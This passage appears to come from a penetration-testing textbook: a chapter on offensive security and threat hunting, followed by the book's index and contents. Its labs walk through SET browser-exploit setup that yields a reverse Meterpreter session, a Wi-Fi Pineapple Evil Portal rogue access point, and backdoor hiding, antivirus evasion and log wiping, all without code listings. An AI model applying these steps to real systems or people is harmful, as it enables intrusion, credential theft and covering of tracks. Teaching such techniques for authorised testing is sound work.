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Offensive security methods can disable the command and control server used by hackers to
communicate with their bots. Disabling the command and control server buys the company
valuable time to recover and deploy proper defenses against further attacks. Offensive
security can be combined with the strengths of passive security. The forensic phase of
offensive security takes place only after the attack has been fully disabled and defense put
in place to stop the same attack from repeating. It is common in passive-only security for
cyber security teams to be analyzing an attack while another one is occurring unnoticed.
Defensive security should still be used, but only in combination with offensive security
methods.

Another aspect of offensive security is cyber-threat intelligence. As mentioned earlier,
offensive security utilizes what are called threat hunting platforms to gather cyber threat
intelligence. The intelligence data is mostly collected from the Internet. Information on data
breaches, newly discovered exploits, vulnerable targets, and signs of pre-planned attack
comprise most of the intelligence data collected. Real-time threat intelligence allows
security teams to be more efficient, organized, and diligent. Next, we will discuss and
demonstrate (with screenshots) various tools used for offensive security.

What tools are used for offensive security?
Offensive security tools are often the same tools hackers use, but for different purposes.
While hackers use these tools for malicious reasons, cyber security professionals use them
to find vulnerabilities. Once the vulnerability is located, a defense is deployed to prevent
exploitation of the network. Penetration testing is used to determine the weak points of a
system or network. Penetration testing tools are often combined into operating systems like
Kali Linux.
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The following is a screenshot displaying the tools menu in Kali Linux:

Pen testers often follow the five phases of ethical hacking to perform the test. The first two
phases of the process are information gathering and system enumeration. Ideally, these
tools are used for detecting malicious behavior on unauthorized ports and to determine
what level of information hackers may be able to attain on a system. Hackers use this tool to
gather reconnaissance on a potential target. One of the most popular tools used for
information gathering phase is Nmap. As we learned in earlier chapters, Nmap is great at
information gathering and system enumeration. Nmap utilizes many advanced methods for
mapping out networks. It also has numerous port scanning options for both TCP and UDP.
The following is a screenshot displaying the syntax options for Namp:
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It is important to remember that having strong port security is critical to protecting a
network from attack. Unfortunately, many companies do not have a security policy
protecting ports from unauthorized access. Another tool used for this part of the pen test is
Wireshark. This tool has multiple roles within offensive security. It can be used for
information gathering, system enumeration, and network forensic analysis. As we learned
in earlier chapters, Wireshark is easy to use and highly effective.
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The following screenshot displays the GUI interface for Wireshark:

The next phase of the pen test involves gaining access. The objective in this phase is to
determine if there is vulnerability on the network that can be used to gain unauthorized
access to a device or the network itself. This phase uses a large variety of tools to gain
access. To gain wireless access to a network many pen testers will use the aircrack-ng suit.
The effectiveness of this tool was demonstrated earlier in the book. Accruing the password
for the wireless network will allow the pen tester to attempt to gain access to devices found
on the network. Once on the network, the pen tester generates a payload. This payload is
created to exploit a specific vulnerability found during the enumeration phase of the test.
The Metasploit framework is commonly used by pen testers to generate the payload. This
payload will be used to gain access.
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As we learned earlier in the book, the Metasploit framework uses an extensive database of
known vulnerabilities and exploits to generate payloads. Metasploit also uses powerful
encoders to allow the payload to bypass antivirus protection. After the payload, has been
generated, it must be delivered. The most common delivery methods are phishing e-mails,
cross-scripting attacks, USB flash drives, or MITM attacks. The SET is a popular tool used
by pen testers to deliver the payload in a phishing e-mail or through a cloned website. SET
has various delivery methods. The following is a screenshot displaying the attack vector
options for SET:

SET has changed tremendously since 2014. It is now owned by TrustedSec and has been
enhanced with many new features. SET can fill multiple roles when pen testing a network.
It was made popular for its ability to easily construct phishing e-mails and clone web pages.
Now that SET has been enhanced with new features it can do much more. The latest version
of SET (2017) is called SET v7.3 Underground the latest upgrade notes can be found at
https://www.trustedsec.com/july-2016/social-engineer-toolkit-set-v7-3-undergrou

nd-released/. This version has completely redone the SMS spoofing module from the
ground up. The SMS spoofing module is primarily used to gather information and gain
access to devices using the SS7 Global Cellular Network. This module can create specially
crafted SMS messages and send allow the sender to spoof the SMS source. A payload can
also be hidden into an image or audio file and sent from a trusted cell phone number in the
form of a SMS message. The objective of this module is to get the victim to click on the
malicious link or attachment to gain unauthorized access.

https://www.trustedsec.com/july-2016/social-engineer-toolkit-set-v7-3-underground-released/
https://www.trustedsec.com/july-2016/social-engineer-toolkit-set-v7-3-underground-released/
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SET browser exploit lab
In this lab, we will demonstrate how to use SET to deliver a payload through a victim's web
browser using Autopwn. For this lab, we are using Kali Linux running in VMware as our
attacking machine. Our victim will be a Windows 7 machine running in VMware. We will
provide screenshots for each step:

First, we need to open SET by opening a Terminal and typing setoolkit. On the1.
first options menu screen type 1 for Social-Engineering Attacks. The following
screenshot displays the first options menu you will see:
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On the next menu options screen, we will type 2 for Website AttackVectors. The2.
following screenshot displays the second options menu you will encounter:
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The next options menu will ask us to choose an attack method. For this lab, we3.
will choose number 2 for the Metasploit Browser Exploit Method. The following
screenshot displays what the third options menu will look like when selecting the
attack method:
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In the next options menu, we will select number 1 for Web Templates. The4.
following screenshot displays the fourth options menu:
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Next, we will answer no when asked if we want to use NAT/Port forwarding.5.
Then we type in the IP of the attacking Kali Linux machine for the IP address or
hostname for the reverse connection:
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Now we will select a template to use for our attack. For this lab, we will choose6.
number 1 for Java Required. This will trick the victim into clicking on the
payload, thinking it is a harmless Java update or error. The following screenshot
show the sixth options screen:
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The next screen gives us a long list of vulnerabilities we can use. For this lab, we7.
will choose number 46 for Metasploit Browser Autopwn. The following
screenshots displays the seventh options screen:
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The eighth options screen will ask us to choose the type of payload we want to8.
send. For this lab, we will select number 2 for the Windows Reverse_TCP
Meterpreter payload.
Next, we will set the port. For this lab, we will use the default port of 443. The9.
following screenshot displays the eighth options screen for setting the payload
and port:

After we set the port, the fake site will be created and hosted from our Apache 2 server from
the Kali Linux attacking machine. Once the server has been started we can send the victim a
link to our fake site. A hacker would normally send the link through a phishing e-mail. For
this lab, we have simulated our Windows 7 victim clicking on our malicious link. Once the
victim clicks on the link, we have a valid active session. After a session, has been established
we can use other tools to pivot our attack to other machines on the network.
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The following screenshot displays the final screen for this lab displaying an active session
established by the payload we sent:

The BeEF framework is a popular way to gain access through vulnerable web browsers and
plug-ins. According to Kali tools, "Unlike other security frameworks, BeEF looks past the
hardened network perimeter and client system, and examines exploitability with the context of one
open door: the web browser." This framework can be used in multiple roles of a pen test. It can
be used for information gathering, enumeration, gaining access, and maintaining access.

Once a pen tester has successfully gained access the next phase it is necessary to maintain
the access. The most common way to maintain access is by establishing backdoors. As we
learned in previous chapters, backdoors are used by hackers to maintain unauthorized
access to a network from a remote location. When a network attack uses backdoors to
maintain access, it is called a persistent attack. msfvenom found within the Metasploit
framework, is a popular module used to create backdoors. Many backdoors are hidden
within legitimate applications. For example, notepad and calculator can be used to hide a
payload. The following is a screenshot demonstrating how to hide a backdoor into notepad:
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Another popular tool used to maintain access is called Backdoor Factory (BDF). This tool is
found within the Veil framework. BDF is a great tool for obfuscating the payload on a pen
test. A popular method on hiding backdoors is to put them in an installer. This is a great
way to pivot the initial attack to other devices on the network. If the installer is found in a
network share, then the backdoor can quickly be installed on multiple devices.

After access has been maintained, the fifth phase of the pen test is carried out. The objective
of the last phase is to cover the tracks of the attack. A pen tester will use this phase to
determine how easy it would be for a hacker to cover their tracks. One of the best ways to
cover tracks is to remove system log files. The log files hold detailed information of every
activity that has taken place on a system or device. A popular tool used to remove log files
is Metasploit. Post exploitation scripts are built into the Metasploit framework. These scripts
can also be created and added to Metasploit. The script is activated when a meterpreter
session calls out to the script. Once the script is activated, it proceeds to remove all traces of
the attack from the log files. This process is quick and easy to execute. Now that we have
discussed tools used for offensive security, we will talk about threat hunting platforms.
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Threat hunting platforms
As we mentioned earlier in this chapter, threat hunting platforms are used to gather cyber
threat intelligence and generate threat analysis reports. One of the most popular platforms
used is called Maltego. According to Kali tools, "Maltego's unique advantage is to determine the
complexity and severity of single points of failure as well as trust relationships that exist currently
within the scope of your infrastructure." Maltego uses a graphical interface to display
information quickly and accurately. Using this platform makes it possible to detect hidden
connections on a network. Maltego is considered a powerful and dynamic threat hunting
platform allowing many customizable options. This allows Maltego to be adapted to many
different network environments and configurations. This platform is built into Kali Linux
and is a popular choice among pen testers practicing offensive security:

Interface of Maltego
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Another popular threat hunting platform used is called Sqrrl. This platform is designed for
enterprise threat-hunting. Unique features of Sqrrl include the hunting loop, the hunting
maturity model, a comprehensive search language, asset tagging, and investigation
recording. The Sqrrl platform combines incident investigations, proactive threat hunting,
and automated analytics to provide maximum network protection. Next, we will talk about
how the Pineapple can be used for offensive security pen testing.

Using the Pineapple for offensive security
Kali Linux is an excellent resource for pen testers to use, but they can also utilize pen testing
hardware like the Pineapple. This device is designed for wireless penetration tests. The
Pineapple is produced by Hak5 and is a proprietary piece of hardware. According to
Cybrary.it, "Basically the Pineapple is a Wi-Fi honeypot that allows users to carry out Man in the
Middle attacks." The Pineapple can mimic any wireless access point or hotspot. The latest
version of the Pineapple is called the Tetra. This version of the Pineapple uses a stable dual-
band (2.4/5 GHz) penetration testing base station with excellent performance. The
Pineapple is considered one of the best wireless pen testing devices available. Next, we will
demonstrate two labs using the Pineapple. The labs will create a better understanding of
how the Pineapple functions.
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Lab 1-setting up an Evil Portal on the Pineapple
In this lab, we will be using the Pineapple tetra to setup the Evil Portal module. This
module is used for capturing victim devices, by using a rouge access point and fake login
page:

First, we will open a browser in our Kali Linux VM. In the URL box, we will1.
type 172.16.42.1:1471 to access the login interface for the Pineapple:

After Login, we will be brought to the dashboard interface page. Select the2.
Modules tab from the menu on the left side of the screen.

Then click on Manage Modules.3.

Next, click on Get Modules from WiFiPineapple.com at the top of the screen.4.
The following screenshot displays the screen you should be seeing in this step:
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For this lab, we will select the Evil Portal module.5.
After you click on Evil Portal under the Modules tab (left side of screen), you6.
will see the interface page for the module. (The following screenshot displays the
interface page for the Evil Portal module):

Next, we will set the portal name under the Work bench tab (towards the top of7.
screen). For this lab, we named our portal Applied_knowledge. Once created,
the portal will show up under Portal Name as the preceding screenshot
demonstrates.
Now we will start the portal by clicking Activate, located to the right of Portal8.
Name. After you have clicked Activate, you will click Start in the Controls tab
located toward the top left of the screen (the screenshot from Step 3 also displays
where the start button is located).
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Next, we will click on the Live Preview tab, located towards the bottom of the9.
screen. We see the default Evil Portal page, which is the page our simulated
victim will login to when connecting through our rouge access point. Also, the
Evil Portal page can be customized to anything you want. For this lab, we will
use the default page. We advise caution when cloning other landing pages to use
as the Evil Portal page. Make sure you have the proper permissions and scope
before doing any pen testing to avoid legal repercussions. The following
screenshot displays what the Evil Portal default page looks like:

The final step is to see what a simulated victim looks like when they connect to10.
the Evil Portal page. The victim device connects to the rogue access point the
Pineapple is broadcasting. Once the victim connects, they will be presented with
the Evil Portal default page, simulating a Wi-Fi landing page. The victim will
click Authorize and then will show up under the Authorized Clients tab,
displaying the victims IP. At this point, other modules can be used to launch a
MITM attack by using modules like SSLsplit. The following screenshot displays
the authorized client list:
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Summary
After finishing this chapter, the reader now has a solid understanding of offensive security,
tools used for pen testing, threat hunting platforms, and how to use the Pineapple's Evil
Portal module for wireless security audits. As we mentioned earlier in this chapter, the
world needs a new breed of cyber security professional. Offensive security research and
training will give cyber security teams a chance to fight back against attackers. The best
defense is an aggressive offense. Taking proactive security measures can save a company
from ruin. It is important to remember: never wait to be attacked, instead go on the
offensive, and hunt down your adversary.



Index

A
access points (APs)  14, 63
ACK scan  194
Adaptive Security Appliance (ASA)  198
address spoofing  217
aircrack-ng suite
   using  72
aireplay-ng tool  64
airmon-ng tool  63
airodump-ng tool  63
alert status
   about  251
   false negative  251
   false positive  251
   true negative/false false  251
   true positive/positive positive  251
AlienSpy  84
American Standard Code for Information

Interchange (ASCII)  116
analyzed event
   false negative (FN)  15
   false positive (FP)  15
   true negative (TN)  15
   true positive (TP)  15
Android RAT  100, 101, 102
antivirus (AV)  107
antivirus protection
   about  122
   evasion  123
   vulnerabilities  122, 123
antivirus signatures  123
ARP poisoning  217
arpspoof  218
attack vectors
   for web applications  180
authentication protocols  159, 160, 161

Autopwn  197, 202
Autopwn2
   using  202

B
baiting  127
black hat hacker  7
botnets  242
Browser Exploit Server (BES)  202
Browser Exploitation Framework (BeEF)
   about  125, 197, 208
   browser, hijacking  140
   used, for browser exploitation  138
   web application attacks, defending  214
   with BetterCap  140, 141
   with man in the middle framework (MITMF)  141
   with SET  141
brute-force attack  61
brute-force passwords  42
bypass blocked websites  182
bypassing authentication
   about  180
   bypass blocked websites  182
   filtered websites  182

C
certificate authority (CA)  143
command and control server (C&C server)  85
common name (CN)  143
cross site scripting (XSS) attacks
   about  137
   avoiding  138
   client XSS type  137
   preventative measures  137
   server XSS type  137
cryptographic hash function
   about  161



[ 315 ]

   hash, obtaining  161, 162
   hash, obtaining with tools  162, 165, 167
cyber security  239

D
Damn Vulnerable Web Application (DVWA)  181
database management system (DBMS)  184
DataBreaches.net
   URL  198
DDoS reflection UDP services
   scanning  32
denial-of-service (DoS)  63
DNS query
   writing  192
DNS spoofing
   about  218
   evil twin, setting up with tools  219

E
Enterprise Internet of Things (EIoT)  238
ethical hacking  9
evil twin
   about  216
   detecting  227
   public Wi-Fi, dangers  226
   setting up, with tools  219
evil USB  231
exploit  87

F
filtered websites  182
firewalls
   evading  46

G
glitch  235
Google Hacking Database (GHDB)  183
Google
   URL  279
grey hat hacker  7

H
hacker
   about  7

   attack, hiding  115, 116, 117
   black hat hacker  7
   grey hat hacker  7
   white hat hacker  7
hackers tools  8
hacking process
   access phase  8
   access, maintaining  9
   reconnaissance phase  8
   scanning phase  8
   tracks, covering  9
hacktivist  7
harvesting  130
hash attacks
   defending  172
   impact on business  171, 172
hash
   authentication protocols  159, 160, 161
   cracking  169, 170, 171
Havex  84
host-based intrusion detection system (HIDS)  247
human interface device (HID)  232
human resources (HR) department  126

I
industrial control systems (ICS)  84
initial sequence number (ISN)  67, 195
Internet of Things (IoT)
   about  6, 85
   botnets  242
   cyber security  239
   vulnerabilities  239
Internet service provider (ISP)  104
intrusion detection system (IDS)
   about  14, 107, 246
   considerations  249
   need for  248
   selecting  249
   versus intrusion prevention system (IPS)  248,

252

intrusion prevention system (IPS)
   about  246
   considerations  249



[ 316 ]

K
Kali Linux
   man-in-the-middle framework (MITMF), installing 

146

   Snort, installing  253
   using  42
   virtual image, URL  146
KeyGrabber  235
KjW0rm  84

L
LAN Manager (LM)  173
landing page
   enabling  278, 279, 282, 284, 285, 286, 287,

288, 289, 290
Leafpad  49
listener (LHOST)  88
listener
   beginning  55
   counter measures  58
local file inclusion (LFI)  180

M
malformed packets
   about  193
   ARP cache poisoning  193
   ARP poisoning commands  194
   ping of death  193
   teardrop attack (aka Nestea)  193
Maltego  308
man-in-the-middle (MITM) attack
   about  143
   address resolution protocol (ARP) spoofing  145
   domain name system (DNS) spoofing  145
   Dynamic Host Configuration protocol (DHCP)

spoofing  145
   evil twin  144
   examples  145
   side jacking  144
   sniffing  144
   tools  145
man-in-the-middle framework (MITMF)
   installing, with Kali Linux  146
   using, with BeEF  141

Media Access Control (MAC)  13
Metasploit framework  8
Metasploit Framework (MSF)  149
Metasploit
   used, for obtaining hash  162, 165, 167
mimikatz tool  167
mitigation
   against threats  16
modules  88
MS Word-embedded RAT  99
msfvenom
   about  8, 88
   used, for creating Remote Access Trojan (RAT) 

87, 88, 89, 91, 93, 94, 95, 97, 98
Murphy's law  7

N
network analyzers  21
network assessment
   building  17
network attacks
   defense  12
   recent events  11
   statistics  11
network security
   current technologies  10
network sniffers  21
network sniffing
   about  19
   host, scanning  22
   importance  21
   Nmap port scan, types  25
   Nmap port selection  23
   Nmap, output formats  29
   OS detection  27
   range of IPs, scanning  23
   services  27
   single IP, scanning  21
   subnet, scanning  23
network-based intrusion detection system (NIDS) 

247

Nmap port scan, types
   about  25
   TCP connect, using  26
   TCP SYN scan, using  26



[ 317 ]

Nmap port selection
   about  23
   all ports, scanning  25
   most common 100 ports, scanning  24
   range of ports, scanning  24
   single port, scanning  24
Nmap
   about  8, 20
   URL  20
NT LAN Manager (NTLM)  158

O
offensive security
   about  292
   tools, using  293
   with Pineapple  309
open source host-based intrusion detection system

(OSSEC)  247
Open Web Application Security Project (OWASP)
   about  239
   used, for hunting web app vulnerabilities  184
OS detection  27
OS fingerprinting ISN  195
output, Nmap
   NSE script, using  30
   output, saving  29
   saving  30
   scanning, with set of scripts  30, 31

P
packet injection  63
packet
   creating  187
   files, handling  191
   layering  188
   receiving  187
   sending  187
   viewing  189
payload  87
PDF-embedded RAT  99
peer-to-peer (P2P) file-sharing  105
phishing  127
physical intrusion detection system (PIDS)  247
Pineapple
   Evil Portal, setting up  310

   used, for offensive security  309
port info
   collecting  47
   commands  53
   list, using  49
   output, saving to file  50
   reason switch  48
   UDP scan  47, 48
Portable Document Format (PDF)
   about  117
   attack scenario, avoiding  120
   intrusion with  117, 118
pretexting  127
privileged account management (PAM)  172
PsExec tool  165
Public Key Pinning Extension for HTTP (HPKP) 

155

public Wi-Fi
   dangers  226
putty.exe
   URL  154

R
reason switch  48
receiver (RHOST)  88
relational database management system (RDBMS) 

136, 176
Remote Access Trojan (RAT)
   about  84, 85
   Android RAT  100, 101, 102, 103
   creating, with msfvenom  87, 88, 89, 91, 93, 94,

95, 97, 98
   disguising  99
   MS Word-embedded RAT  99
   PDF-embedded RAT  99
   preventive measures  104, 105, 106
remote file inclusion (RFI)  180
Rubber Ducky  8, 232

S
scapy  186
script kiddie  7
security account manager (SAM)  160
security event management (SEM)  249
Security Information and Event Management



[ 318 ]

(SIEM)
   about  249
   features  250
security information management (SIM)  249
security
   for individuals, versus companies  13
   known risk  14
   unknown risk  14
   Wi-Fi vulnerabilities  13
Server Name Indication (SNI)  155
Service Set Identifier (SSID)  13
service
   about  27
   aggressive service detection  28
   banner-grabbing detection  28
   standard service detection  28
SET browser
   using  298
SET v7.3 Underground
   URL  297
shellcode  87
SignApk
   about  100
   URL  101
Simple Network Management Protocol (SNMP) 

198

skipfish
   URL  201
Snapchat HR hack  126
sniffing  195
Snort
   about  252
   alerts  257
   executing, as Daemon  258
   executing, from command line  257
   ICMP rules lab, creating  253
   icmp.rules files, creating  255
   installing  253
   installing, in Kali Linux  253
   log alert, displaying  257
   rule options  256
   snort.conf file, creating  255
   URL  253
social engineering  125, 126
social engineering toolkit (SET)  91

   about  125
   using  128, 129, 131, 134
   with BeEF  141
Software-defined networks (SDN)  11
Sparta
   about  41
   brute-force passwords  42
   used, for network scanning  37
Splunk
   about  250
   URL  251
spoofing  46
SQL commands
   examples  176
SQL injection attacks
   attack vectors, used for web applications  180
   defending  179
   examples  178
SQL injections
   about  135, 136, 177
   first order attack  136
   lateral injection attack  136
   second order attack  136
SQLmap
   data, extracting  183
SSLsplit  155
Structured Query Language (SQL)  176
Structured Query Language injections (SQLi)  135
subnet
   decoy scans  46
   scanning  45
   spoofing  46
SYN scan
   writing  192

T
tailgating  127
targeted sites
   vulnerabilities, identifying  183
TCP port scanning
   about  194
   OS fingerprinting ISN  195
   passive OS detection  196
   sniffing  195
   VLAN hopping  195



[ 319 ]

   wireless sniffing  195
TCP three way handshake
   about  192
   DNS query, writing  192
   SYN scan, writing  192
Tetra  309
threat hunting platforms  308
Ticker Generating System (TGS)  160
Ticket Granting Ticket (TGT)  160
Transmission Control Protocol (TCP) handshake
   about  67, 69, 71
   strong password, creating  71

U
USB adapters
   reference link  62
USB ports
   disabling  234
USB
   evil USB  231
   threat  231
   using  229

V
Veil-Evasion  107, 108
Veil-Pillage  108, 110, 111, 112, 113, 114, 115
Veil-Tools  120
virtual private networks (VPNs)  226
VLAN hopping  195
vulnerabilities
   data, extracting with SQLmap  183
   identifying, from targeted sites  183

W
web app vulnerabilities
   hunting, with Open Web Application Security

Project (OWASP) ZAP  184
web application attacks
   defending  214
web application exploits  197
web application penetration testing
   tools, using  200
web injections
   about  135
   SQL injections  135, 136

white hat hacker  7
Wi-Fi adapters
   URL, for purchasing  62
Wi-Fi cracking tools
   airmon-ng  63
Wi-Fi cracking, tools
   about  63
   aireplay-ng  64
   airodump-ng  63
   using  64, 65, 66, 67
Wi-Fi cracking
   methods  61
   need for  61
   requisites  62
   ways  61
Wi-Fi Pineapple
   about  8, 261
   broadcasting  273, 274
   connecting  269, 273, 274
   data, logging  276, 277
   data, reporting  275, 277, 278
   for penetration testing  261
   landing page, enabling  278, 279, 282, 284, 285,

286, 287, 288, 289, 290
   network, managing  273, 274
   scan, performing  269, 270, 271, 272
   setting up  261, 262, 263, 264, 267, 268
   URL  263
Wi-Fi vulnerabilities  13
Wi-Fi
   history  259, 260
WiFi-Pumpkin
   about  154
   URL  154
Wifiphisher
   installing  221
   URL  221
Wifite
   about  72
   URL  73
   using  73, 75, 76, 77, 79, 83
Wikto  183
Wired Equivalent Privacy (WEP)  13
wireless network
   vulnerability  260



wireless sniffing  195
Wireshark  19
Wireshark filters
   cheat sheet  36
   using  32

X
XArp  218

Z
Zenmap
   about  19


	Cover
	Copyright
	Credits
	About the Authors
	About the Reviewer
	www.PacktPub.com
	Customer Feedback
	Table of Contents
	Preface
	Chapter 1: Introduction to Network Security
	Murphy's law
	Hackers (and their types) defined
	Hacker tools

	The hacking process
	Ethical hacking issues
	Current technologies
	Recent events and statistics of network attacks
	Our defense

	Security for individuals versus companies
	Wi-Fi vulnerabilities
	Knowns and unknowns
	False positives


	Mitigation against threats
	Building an assessment
	Summary
	References

	Chapter 2: Sniffing the Network
	What is network sniffing?
	Why network sniffing is important
	Scan a single IP
	Scan a host
	Scan a range of IPs
	Scan a subnet

	Nmap port selection
	Scan a single port
	Scan a range of ports
	Scan 100 most common ports (fast)
	Scan all 65535 ports

	Nmap port scan types
	Scan using TCP SYN scan (default)
	Scan using TCP connect

	Service and OS detection
	Detect OS and services
	Standard service detection
	More aggressive service detection
	Lighter banner-grabbing detection

	Nmap output formats
	Save default output to file
	Save in all formats
	Scan using a specific NSE script
	Scan with a set of scripts


	Lab 1-a scan to search for DDoS reflection UDP services
	Using Wireshark filters
	Wireshark filter cheat sheet
	Lab 2
	Sparta
	Brute-force passwords

	Lab 3-scanning
	Scanning a subnet
	Spoofing and decoy scans

	Evading firewalls
	Gathering version info
	UDP scan
	The reason switch
	Using a list
	Output to a file
	Commands

	Starting the listener
	Countermeasures

	Summary

	Chapter 3: How to Crack Wi-Fi Passwords
	Why should we crack our own Wi-Fi?
	What's the right way to do it?
	The method
	The requirements

	What is packet injection?
	Wi-Fi cracking tools
	The steps

	The Transmission Control Protocol (TCP) handshake
	The password lists
	How to make a strong password

	The short version (a cheat-sheet for the aircrack-ng suite)
	Summary

	Chapter 4: Creating a RAT Using Msfvenom
	Remote Access Trojans
	Ways to disguise your RAT though Metasploit
	PDF-embedded RAT
	MS Word-embedded RAT
	Android RAT

	Your defence
	Summary
	References

	Chapter 5: Veil Framework
	Veil-Evasion
	Veil-Pillage
	How do hackers hide their attack?
	Intrusion with a PDF
	The scenario

	Veil-PowerTools
	What is antivirus protection?
	What are some vulnerabilities in antivirus protection?
	Evasion and antivirus signatures

	Summary
	References

	Chapter 6: Social Engineering Toolkit and Browser Exploitation
	Social engineering
	What are web injections?
	How SQL injections work

	Cross site scripting (XSS) attacks
	Preventative measures against XSS attacks
	How to reduce your chances of being attacked

	Browser exploitation with BeEF
	Browser hijacking
	BeEF with BetterCap
	BeEF with man-in-the-middle framework (MITMF)
	BeEF with SET

	Summary

	Chapter 7: Advanced Network Attacks
	What is an MITM attack?
	Related types of attacks
	Examples of MITM
	Tools for MITM attacks
	Installing MITMF using Kali Linux

	Summary

	Chapter 8: Passing and Cracking the Hash
	What is a hash?
	Authentication protocols

	Cryptographic hash functions
	How do hackers obtain the hash?
	What tools are used to get the hash?

	How are hashes cracked?
	How do pass the hash attacks impact businesses?
	What defences are there against hash password attacks?
	Summary
	References
	Links to download tools

	Chapter 9: SQL Injection
	What is SQL and how does it work?
	SQL command examples

	SQL injection
	Examples of SQL injection attacks

	Ways to defend against SQL injection attacks
	Attack vectors for web applications

	Bypassing authentication
	Bypass blocked and filtered websites

	Finding vulnerabilities from a targeted sites
	Extracting data with SQLmap

	Hunting for web app vulnerabilities with Open Web Application Security Project (OWASP) ZAP
	Summary

	Chapter 10: Scapy
	Scapy
	Creating our first packet
	Sending and receiving
	Layering

	Viewing the packet
	Handling files

	The TCP three way handshake
	SYN scan
	A DNS query

	Malformed packets
	Ping of death
	Teardrop attack (aka Nestea)
	ARP cache poisoning
	ARP poisoning commands

	ACK scan
	TCP port scanning
	VLAN hopping
	Wireless sniffing
	OS fingerprinting ISN
	Sniffing
	Passive OS detection

	Summary

	Chapter 11: Web Application Exploits
	Web application exploits
	What tools are used for web application penetration testing?
	What is Autopwn?
	Using Autopwn2

	What is BeEF and how to use it?
	Defenses against web application attacks

	Summary

	Chapter 12: Evil Twins and Spoofing
	What is an evil twin?
	What is address spoofing?
	What is DNS spoofing?
	What tools are used for setting up an evil twin?
	The dangers of public Wi-Fi and evil twins

	How to detect an evil twin?
	Summary

	Chapter 13: Injectable Devices
	A deeper look into USB
	A possible threat
	An evil USB

	How does the Rubber Ducky work?
	Disabling ports
	A KeyGrabber?
	What the glitch?
	Summary

	Chapter 14: The Internet of Things
	What is the Internet of Things?
	IOT vulnerabilities and cyber security

	IOT and botnets
	Summary
	Sources

	Chapter 15: Detection Systems
	IDS
	IPS
	Host based
	Network-based
	Physical
	Summary of differences
	Why?
	Who and when?

	Security Information and Event Management (SIEM)
	Splunk
	Alert status
	IDS versus IPS
	Snort as an IPS
	How?

	Lab 1-installing Snort and creating ICMP rules lab
	Lab 2-create the following snort.conf and icmp.rules files
	Rule options

	Lab 3-execute Snort
	Show log alert
	Alert explanation

	Lab 4-execute Snort as Daemon
	Summary

	Chapter 16: Advance Wireless Security Lab Using the Wi-Fi Pineapple Nano/Tetra
	The history of Wi-Fi - the WLAN standard
	Wireless vulnerability
	The Wi-Fi Pineapple
	For penetration testing
	Lab 1-how to set up
	Getting connected
	Performing a scan
	Getting connected, managing your network, and broadcasting Wi-Fi
	Reporting data
	Logging data with Pineapple
	Reporting data

	Enabling the landing page

	Summary

	Chapter 17: Offensive Security and Threat Hunting
	What is offensive security?
	What tools are used for offensive security?

	SET browser exploit lab
	Threat hunting platforms
	Using the Pineapple for offensive security
	Lab 1-setting up an Evil Portal on the Pineapple

	Summary

	Index

